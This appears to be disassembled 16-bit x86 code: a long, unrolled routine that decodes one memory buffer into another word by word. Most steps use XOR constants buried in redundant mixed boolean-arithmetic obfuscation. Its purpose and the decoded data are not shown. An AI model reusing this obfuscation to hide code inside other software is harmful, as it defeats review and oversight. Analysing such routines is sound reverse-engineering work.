sub ax, cx
mov word [0x473370], ax
mov dx, word [0x473172]
mov si, dx
and si, si
xor si, 0xffff
mov ax, si
and ax, 0x2a82
xor ax, 0xffff
and si, 0x2a82
xor si, 0xffff
and ax, si
xor ax, 0xffff
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
and dx, 0xd57d
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
and si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
xor ax, 0xffff
xor si, 0xffff
or ax, si
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov word [0x473372], ax
mov ax, word [0x473174]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
mov si, dx
xor si, 0xffff
or si, 0x6441
and dx, 0x9bbe
xor dx, 0xffff
and si, dx
xor si, 0xffff
mov cx, ax
xor cx, 0x9bbe
and cx, ax
mov ax, si
and ax, cx
xor si, cx
or ax, si
mov word [0x473374], ax
mov ax, word [0x473176]
mov dx, ax
xor dx, 0x8ee8
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
and dx, 0x8ee8
shl dx, 1
sub dx, 0x8ee8
sub ax, dx
mov word [0x473376], ax
mov ax, word [0x473178]
xor ax, 0xbdd5
mov word [0x473378], ax
mov ax, word [0x47317a]
xor ax, 0x51e6
mov word [0x47337a], ax
mov ax, word [0x47317c]
xor ax, 0x664a
mov word [0x47337c], ax
mov ax, word [0x47317e]
xor ax, 0x587f
mov word [0x47337e], ax
mov ax, word [0x473180]
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x8670
mov cx, ax
xor cx, 0xffff
and cx, 0x798f
or dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x8670
shl dx, 1
sub dx, 0x8670
mov cx, ax
xor cx, dx
xor dx, 0xffff
and ax, dx
shl ax, 1
sub ax, cx
mov word [0x473380], ax
mov ax, word [0x473182]
mov dx, ax
xor dx, 0xffff
and dx, 0x5d1a
mov cx, ax
and cx, 0xa2e5
or dx, cx
xor dx, 0xf85c
xor dx, 0xffff
and dx, 0xa546
shl dx, 1
mov cx, dx
xor cx, 0xa546
and dx, 0x5ab9
shl dx, 1
sub dx, cx
add ax, 0x84b8
sub ax, dx
sub ax, 0x84b8
mov word [0x473382], ax
mov ax, word [0x473184]
xor ax, 0x2dd9
mov word [0x473384], ax
mov ax, word [0x473186]
mov cx, ax
and cx, 0x208c
shl cx, 1
mov dx, ax
add dx, 0x208c
sub dx, cx
xor dx, 0xffff
mov cx, dx
xor cx, 0x208c
xor cx, 0xffff
or dx, 0x208c
and dx, cx
shl dx, 1
sub dx, 0x208c
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x473386], ax
mov ax, word [0x473188]
mov cx, ax
xor cx, cx
xor cx, 0xffff
mov si, ax
or si, si
and si, cx
or si, si
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
mov di, si
xor di, 0xffff
mov dx, di
and dx, 0x5ec1
and si, 0xa13e
or dx, si
xor dx, 0x9e06
or di, 0x3f38
xor di, 0xffff
and di, 0xffff
or dx, di
and ax, 0xc0c7
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x473388], dx
mov ax, word [0x47318a]
xor ax, 0xdb6f
mov word [0x47338a], ax
mov ax, word [0x47318c]
mov dx, ax
and dx, dx
mov cx, ax
xor cx, cx
or dx, cx
mov di, dx
xor di, 0xffff
and di, 0xda8c
and dx, 0x2573
or di, dx
xor di, 0x2573
mov si, di
xor si, 0xffff
mov dx, si
and dx, 0x3d8e
and di, 0xc271
or dx, di
xor dx, 0x2506
or si, 0xe777
xor si, 0xffff
and si, 0xffff
or dx, si
xor dx, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
or ax, 0xe777
xor ax, 0xffff
and ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
mov cx, dx
xor cx, ax
xor cx, 0xffff
or dx, ax
and dx, cx
mov word [0x47338c], dx
mov ax, word [0x47318e]
mov cx, ax
and cx, 0xfd09
shl cx, 1
add ax, 0xfd09
sub ax, cx
mov word [0x47338e], ax
mov ax, word [0x473190]
xor ax, 0x71a9
mov word [0x473390], ax
mov ax, word [0x473192]
mov cx, ax
xor cx, 0x3694
mov dx, cx
xor dx, 0xffff
and dx, 0x8d93
and cx, 0x726c
or dx, cx
xor dx, 0x726c
and dx, 0x3694
shl dx, 1
sub dx, 0x3694
sub ax, dx
mov word [0x473392], ax
mov si, word [0x473194]
mov ax, si
xor ax, 0xffff
mov cx, si
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0xeb88
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
and dx, 0x1477
or ax, dx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov word [0x473394], ax
mov ax, word [0x473196]
mov cx, ax
xor cx, 0x1160
xor cx, 0xffff
and cx, 0x1160
shl cx, 1
sub cx, 0x1160
sub ax, cx
mov word [0x473396], ax
mov ax, word [0x473198]
mov cx, ax
and cx, cx
xor cx, 0xffff
mov dx, ax
add dx, dx
add dx, 1
add dx, cx
xor dx, 0xffff
mov cx, dx
and cx, 0x98d2
xor cx, 0xffff
add dx, 0x98d2
add dx, 1
add dx, cx
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor ax, 0xffff
and ax, 0x98d2
mov si, dx
or si, ax
xor si, 0xffff
or dx, ax
xor dx, 0xffff
or si, dx
xor si, 0xffff
mov ax, si
xor ax, 0xffff
and ax, 0xe787
and si, 0x1878
or ax, si
xor ax, 0x1878
mov word [0x473398], ax
mov ax, word [0x47319a]
xor ax, 0xaff6
mov word [0x47339a], ax
mov ax, word [0x47319c]
mov cx, ax
xor cx, 0x6055
xor cx, 0xffff
and cx, 0x6055
shl cx, 1
sub cx, 0x6055
sub ax, cx
mov word [0x47339c], ax
mov ax, word [0x47319e]
xor ax, 0xf2ac
mov word [0x47339e], ax
mov ax, word [0x4731a0]
mov cx, ax
xor cx, 0xffff
and cx, 0xedf6
and ax, 0x1209
or cx, ax
xor cx, 0x8f38
mov word [0x4733a0], cx
mov ax, word [0x4731a2]
xor ax, 0xfd06
mov word [0x4733a2], ax
mov ax, word [0x4731a4]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x284
and ax, 0xfd7b
or dx, ax
mov word [0x4733a4], dx
mov dx, word [0x4731a6]
mov cx, dx
and cx, cx
xor cx, 0xffff
mov ax, dx
add ax, ax
add ax, 1
add ax, cx
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x8cdf
xor ax, 0xffff
and ax, 0xffff
mov si, dx
xor si, 0xffff
and si, 0x8cdf
or dx, 0x7320
xor dx, 0xffff
or si, dx
xor si, 0xffff
xor si, 0xffff
or ax, si
xor ax, 0xffff
mov word [0x4733a6], ax
mov ax, word [0x4731a8]
xor ax, 0xd365
mov word [0x4733a8], ax
mov ax, word [0x4731aa]
mov dx, ax
xor dx, 0x812e
xor dx, 0xffff
and dx, 0x812e
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x812e
sub ax, 0x4876
sub ax, dx
add ax, 0x4876
mov word [0x4733aa], ax
mov ax, word [0x4731ac]
xor ax, 0x2bc2
mov word [0x4733ac], ax
mov ax, word [0x4731ae]
xor ax, 0x7fda
mov word [0x4733ae], ax
mov ax, word [0x4731b0]
xor ax, 0x2044
mov word [0x4733b0], ax
mov dx, word [0x4731b2]
mov si, dx
and si, si
xor si, 0xffff
and si, 0xf94d
mov ax, si
xor ax, 0xffff
and ax, 0x7766
and si, 0x8899
or ax, si
xor ax, 0x8899
mov si, dx
and si, 0x6b2
xor si, 0xffff
and dx, 0x6b2
xor dx, 0xffff
xor si, 0xffff
xor dx, 0xffff
or si, dx
xor si, 0xffff
xor ax, 0xffff
xor si, 0xffff
or ax, si
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov word [0x4733b2], ax
mov ax, word [0x4731b4]
mov cx, ax
and cx, 0xe3cc
shl cx, 1
add ax, 0xe3cc
sub ax, cx
mov word [0x4733b4], ax
mov ax, word [0x4731b6]
mov dx, ax
xor dx, 0x1eb8
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
and dx, 0x1eb8
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x1eb8
sub ax, dx
mov word [0x4733b6], ax
mov ax, word [0x4731b8]
xor ax, 0x10bf
mov word [0x4733b8], ax
mov ax, word [0x4731ba]
xor ax, 0x9e7f
mov word [0x4733ba], ax
mov dx, word [0x4731bc]
mov ax, dx
and ax, ax
xor ax, 0xffff
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0x643b
add ax, cx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
mov cx, si
and cx, 0x643b
xor si, 0x643b
or cx, si
and ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0x26de
and ax, 0xd921
or cx, ax
xor cx, 0xd921
mov word [0x4733bc], cx
mov ax, word [0x4731be]
mov dx, ax
xor dx, 0x77d2
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
and dx, 0x77d2
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x77d2
mov cx, ax
xor cx, dx
xor dx, 0xffff
and ax, dx
shl ax, 1
sub ax, cx
mov word [0x4733be], ax
mov ax, word [0x4731c0]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0xab82
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xab82
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x4733c0], dx
mov cx, word [0x4731c2]
mov ax, cx
xor ax, 0xffff
and ax, 0xd9f1
and cx, 0x260e
or ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0x95ae
and ax, 0x6a51
or cx, ax
xor cx, 0x11bd
mov word [0x4733c2], cx
mov ax, word [0x4731c4]
mov cx, ax
xor cx, 0xc16a
xor cx, 0xffff
and cx, 0xc16a
shl cx, 1
sub cx, 0xc16a
sub ax, cx
mov word [0x4733c4], ax
mov ax, word [0x4731c6]
xor ax, 0xfdee
mov word [0x4733c6], ax
mov ax, word [str._oM]
mov dx, ax
xor dx, 0x91d6
and dx, ax
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x99b8
add ax, 0x6e29
sub ax, 0x99b8
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x4733c8], ax
mov ax, word [0x4731ca]
xor ax, 0x2b5f
mov word [0x4733ca], ax
mov ax, word [0x4731cc]
mov cx, ax
xor cx, 0xffff
and cx, 0xc990
and ax, 0x366f
or cx, ax
mov word [0x4733cc], cx
mov ax, word [0x4731ce]
mov cx, ax
xor cx, 0x9e9a
xor cx, 0xffff
and cx, 0x9e9a
shl cx, 1
sub cx, 0x9e9a
sub ax, cx
mov word [0x4733ce], ax
mov dx, word [0x4731d0]
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov ax, dx
sub ax, cx
or ax, ax
xor ax, 0xffff
or ax, 0x5bf
xor ax, 0xffff
mov cx, dx
xor cx, 0xfa40
and cx, dx
or ax, cx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x188d
and ax, 0x188d
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
mov word [0x4733d0], dx
mov dx, word [0x4731d2]
mov ax, dx
xor ax, 0xffff
mov cx, dx
and cx, 0xffff
shl cx, 1
mov si, dx
add si, 0xffff
sub si, cx
and ax, si
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xc34
xor ax, 0xffff
and ax, 0xffff
or dx, 0xf3cb
xor dx, 0xffff
and ax, ax
xor ax, 0xffff
and dx, dx
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x4733d2], ax
mov cx, word [0x4731d4]
mov ax, cx
xor ax, 0xffff
and ax, 0x63ad
and cx, 0x9c52
or ax, cx
mov cx, ax
and cx, 0x9966
shl cx, 1
add ax, 0x9966
sub ax, cx
mov word [0x4733d4], ax
mov ax, word [0x4731d6]
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x7867
xor ax, 0xffff
or ax, 0x8798
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4733d6], dx
mov dx, word [0x4731d8]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xedb8
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xedb8
and ax, dx
xor ax, 0xffff
mov word [0x4733d8], ax
mov ax, word [0x4731da]
xor ax, 0x7d95
mov word [0x4733da], ax
mov dx, word [0x4731dc]
mov cx, dx
or cx, cx
xor cx, 0xffff
mov ax, cx
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0x74fe
add ax, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0x74fe
xor dx, 0xffff
and dx, 0xffff
or ax, dx
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
mov word [0x4733dc], ax
mov ax, word [0x4731de]
mov si, ax
and si, si
xor si, 0xffff
and si, 0xffff
or si, 0
xor si, 0xffff
mov dx, si
or dx, 0xbeae
xor dx, 0xffff
xor si, 0xffff
and si, 0x4151
or dx, si
xor dx, 0xffff
and ax, 0xbeae
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
mov cx, dx
xor cx, ax
and cx, dx
xor cx, 0xffff
mov word [0x4733de], cx
mov ax, word [0x4731e0]
xor ax, 0xe90
mov word [0x4733e0], ax
mov dx, word [0x4731e2]
mov si, dx
xor si, 0xffff
mov ax, dx
xor ax, 0xffff
or si, ax
and si, 0xffff
xor si, 0xffff
xor si, 0xffff
or si, 0
mov ax, dx
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov ax, si
xor ax, 0x3849
and ax, si
mov si, dx
xor si, 0xffff
and si, 0x87a
and dx, 0xf785
or si, dx
xor si, 0xf785
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0x3849
xor ax, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
mov cx, ax
xor cx, dx
and cx, ax
mov word [0x4733e2], cx
mov ax, word [0x4731e4]
xor ax, 0xa6a4
mov word [0x4733e4], ax
mov ax, word [0x4731e6]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0xab4e
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or cx, 0xab4e
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x54b1
add dx, 0xab4f
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add dx, 0xbfb8
sub dx, 0xab4e
sub dx, 0xbfb8
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x4733e6], ax
mov ax, word [0x4731e8]
mov dx, ax
xor dx, 0xf1bc
xor dx, 0xffff
or dx, 0xe43
add dx, 0xf1bd
shl dx, 1
sub dx, 0xf1bc
sub ax, dx
mov word [0x4733e8], ax
mov ax, word [0x4731ea]
mov cx, ax
and cx, 0x8eb2
shl cx, 1
add ax, 0x8eb2
sub ax, cx
mov word [0x4733ea], ax
mov ax, word [0x4731ec]
xor ax, 0x4a15
mov word [0x4733ec], ax
mov ax, word [0x4731ee]
xor ax, 0x19a1
mov word [0x4733ee], ax
mov ax, word [0x4731f0]
xor ax, 0xce9c
mov word [0x4733f0], ax
mov ax, word [0x4731f2]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0xbe53
xor dx, 0xffff
or ax, 0x41ac
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x4733f2], dx
mov ax, word [0x4731f4]
mov di, ax
and di, di
xor di, 0xffff
xor di, 0xffff
mov si, di
xor si, 0xffff
mov dx, si
and dx, 0xd85b
and di, 0x27a4
or dx, di
xor dx, 0xcb00
or si, 0xeca4
xor si, 0xffff
and si, 0xffff
or dx, si
xor ax, 0xffff
mov cx, ax
and cx, 0xeca4
xor cx, 0xffff
add ax, 0xeca4
add ax, 1
add ax, cx
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
xor ax, 0xffff
mov cx, ax
xor cx, 0xffff
mov si, dx
and si, cx
mov cx, dx
xor cx, ax
add dx, cx
sub dx, si
mov word [0x4733f4], dx
mov ax, word [0x4731f6]
xor ax, 0xc02e
mov word [0x4733f6], ax
mov ax, word [0x4731f8]
xor ax, 0xdefd
mov word [0x4733f8], ax
mov ax, word [0x4731fa]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
and dx, 0xb42f
and ax, 0x4bd0
or dx, ax
xor dx, 0x2ba1
mov word [0x4733fa], dx
mov ax, word [0x4731fc]
xor ax, 0xc5da
mov word [0x4733fc], ax
mov ax, word [0x4731fe]
xor ax, 0x698
mov word [0x4733fe], ax
mov ax, word [0x473200]
mov si, ax
or si, si
mov cx, si
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub si, cx
mov dx, si
and dx, 0x17e2
xor si, 0x17e2
or dx, si
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
or ax, 0xe81d
xor ax, 0xffff
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and cx, 0x90ee
and ax, 0x6f11
or cx, ax
xor cx, 0x6f11
and dx, cx
mov word [0x473400], dx
mov ax, word [0x473202]
xor ax, 0xfc4b
mov word [0x473402], ax
mov ax, word [0x473204]
xor ax, 0xa841
mov word [0x473404], ax
mov ax, word [0x473206]
xor ax, 0xd592
mov word [0x473406], ax
mov ax, word [0x473208]
mov cx, ax
xor cx, 0xffff
and cx, 0xd2b6
and ax, 0x2d49
or cx, ax
mov word [0x473408], cx
mov ax, word [0x47320a]
mov cx, ax
xor cx, 0xaaf1
xor cx, 0xffff
and cx, 0xaaf1
shl cx, 1
sub cx, 0xaaf1
sub ax, cx
mov word [0x47340a], ax
mov ax, word [0x47320c]
xor ax, 0x6fa7
mov word [0x47340c], ax
mov ax, word [0x47320e]
mov cx, ax
xor cx, 0xffff
and cx, 0xbc3e
and ax, 0x43c1
or cx, ax
xor cx, 0xd4df
mov word [0x47340e], cx
mov ax, word [0x473210]
xor ax, 0x8bc
mov word [0x473410], ax
mov ax, word [0x473212]
xor ax, 0x6965
mov word [0x473412], ax
mov ax, word [0x473214]
xor ax, 0xbe56
mov word [0x473414], ax
mov dx, word [str.p_f_]
mov cx, dx
xor cx, 0xffff
mov si, dx
xor si, 0xffff
xor si, 0xffff
mov ax, cx
xor ax, si
and ax, cx
xor ax, 0xffff
and ax, 0xd66
xor dx, 0xffff
mov si, dx
and si, 0xf299
xor si, 0xffff
xor dx, 0xffff
or dx, 0xd66
and si, dx
xor si, 0xffff
mov dx, ax
xor dx, 0xffff
and dx, 0x6e73
and ax, 0x918c
or dx, ax
xor dx, 0x918c
xor si, 0xffff
and dx, si
mov word [0x473416], dx
mov ax, word [0x473218]
xor ax, 0xa5c8
mov word [0x473418], ax
mov ax, word [0x47321a]
xor ax, 0xd92d
mov word [0x47341a], ax
mov dx, word [0x47321c]
mov si, dx
or si, si
xor si, 0xffff
or si, 0x67a7
mov ax, si
xor ax, 0xffff
and ax, 0xb512
and si, 0x4aed
or ax, si
xor ax, 0x4aed
xor dx, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or si, 0x9858
xor si, 0xffff
mov cx, si
and cx, ax
xor cx, 0xffff
add ax, si
add ax, 1
add ax, cx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov word [0x47341c], ax
mov ax, word [0x47321e]
mov dx, ax
xor dx, 0xfcbd
xor dx, 0xffff
and dx, 0xfcbd
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0xfcbd
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x47341e], ax
mov dx, word [0x473220]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
mov cx, ax
and cx, 0xb17b
mov si, ax
xor si, 0x4e84
add ax, si
sub ax, cx
mov si, dx
xor si, 0xffff
or si, 0xb17b
and dx, 0x4e84
xor dx, 0xffff
xor si, 0xffff
xor dx, 0xffff
or si, dx
mov dx, si
xor dx, 0xffff
xor si, 0xffff
or dx, si
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
mov word [0x473420], ax
mov dx, word [0x473222]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0x362f
and ax, 0x362f
and dx, 0xc9d0
or ax, dx
xor ax, 0xbb5c
mov word [0x473422], ax
mov ax, word [0x473224]
xor ax, 0x87d1
mov word [0x473424], ax
mov ax, word [0x473226]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and cx, 0xffff
or cx, 0
and dx, cx
mov cx, dx
and cx, 0x46d5
mov si, dx
xor si, 0xb92a
add dx, si
sub dx, cx
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xb92a
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
mov cx, ax
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
or si, cx
xor si, 0xffff
mov word [0x473426], si
mov ax, word [0x473228]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
or dx, 0xc9fb
add dx, 0x3605
and ax, 0xc9fb
or dx, ax
mov ax, dx
xor ax, 0xffff
and ax, 0xadcb
and dx, 0x5234
or ax, dx
mov word [0x473428], ax
mov ax, word [0x47322a]
mov cx, ax
xor cx, 0x1c46
xor cx, 0xffff
and cx, 0x1c46
shl cx, 1
sub cx, 0x1c46
mov dx, ax
sub dx, cx
xor dx, 0xffff
mov cx, dx
xor cx, 0x1c46
xor cx, 0xffff
or dx, 0x1c46
and dx, cx
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
mov cx, dx
xor cx, 0xffff
and cx, 0x1c46
and dx, 0xe3b9
sub dx, cx
sub ax, dx
mov word [0x47342a], ax
mov ax, word [0x47322c]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0xb6c0
mov cx, ax
and cx, 0xb6c0
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
and dx, 0x493f
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add dx, 0x34f8
sub dx, 0x493f
sub dx, 0x34f8
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x47342c], ax
mov ax, word [0x47322e]
xor ax, 0x15ee
mov word [0x47342e], ax
mov ax, word [0x473230]
xor ax, 0x5c95
mov word [0x473430], ax
mov ax, word [0x473232]
mov si, ax
xor si, 0xffff
and si, 0xf2fc
or ax, ax
xor ax, 0xffff
or ax, 0xf2fc
xor ax, 0xffff
mov dx, si
xor dx, 0xffff
mov bx, ax
xor bx, 0xffff
mov di, dx
and di, 0xe7a0
and si, 0x185f
mov cx, bx
and cx, 0xe7a0
and ax, 0x185f
or di, si
or cx, ax
xor di, cx
or dx, bx
xor dx, 0xffff
and dx, 0xffff
or di, dx
xor di, 0xf9f6
mov word [0x473432], di
mov dx, word [0x473234]
mov ax, dx
or ax, ax
xor ax, 0xffff
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
and ax, 0x4981
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0xb67e
xor ax, 0xffff
xor dx, 0xffff
mov si, ax
and si, dx
xor si, 0xffff
and ax, dx
xor ax, 0xffff
xor si, 0xffff
xor ax, 0xffff
or si, ax
mov word [0x473434], si
mov ax, word [0x473236]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x4261
mov cx, ax
xor cx, 0xffff
or cx, 0xbd9e
and dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xbd9e
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0xbd9e
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x473436], ax
mov ax, word [0x473238]
mov dx, ax
xor dx, 0xef44
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
and dx, 0xef44
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
mov cx, dx
xor cx, 0xffff
and cx, 0xef44
and dx, 0x10bb
sub dx, cx
sub ax, dx
mov word [0x473438], ax
mov ax, word [0x47323a]
mov dx, ax
and dx, 0x99f1
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x99f1
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x47343a], ax
mov ax, word [0x47323c]
xor ax, 0x9845
mov word [0x47343c], ax
mov dx, word [0x47323e]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x9332
xor dx, 0xffff
or dx, 0x6ccd
and ax, dx
xor ax, 0xffff
mov word [0x47343e], ax
mov ax, word [0x473240]
xor ax, 0x874b
mov word [0x473440], ax
mov ax, word [0x473242]
mov cx, ax
and cx, 0xb904
shl cx, 1
mov dx, ax
add dx, 0xb904
sub dx, cx
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
and dx, 0xffff
xor dx, 0xffff
and dx, 0xb904
shl dx, 1
add dx, 0x46fc
sub ax, dx
mov word [0x473442], ax
mov dx, word [0x473244]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0x6527
and dx, 0x9ad8
or ax, dx
mov cx, ax
xor cx, 0x3502
xor cx, 0xffff
and cx, 0x3502
shl cx, 1
sub cx, 0x3502
sub ax, cx
mov word [0x473444], ax
mov ax, word [0x473246]
mov dx, ax
xor dx, 0x5c5
xor dx, 0xffff
and dx, 0x5c5
shl dx, 1
sub dx, 0x5c5
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x473446], ax
mov dx, word [0x473248]
mov ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
and ax, 0x50ef
mov cx, dx
add cx, 1
xor dx, 0xffff
or dx, 0xaf10
add dx, cx
or ax, dx
xor ax, 0x3650
mov word [0x473448], ax
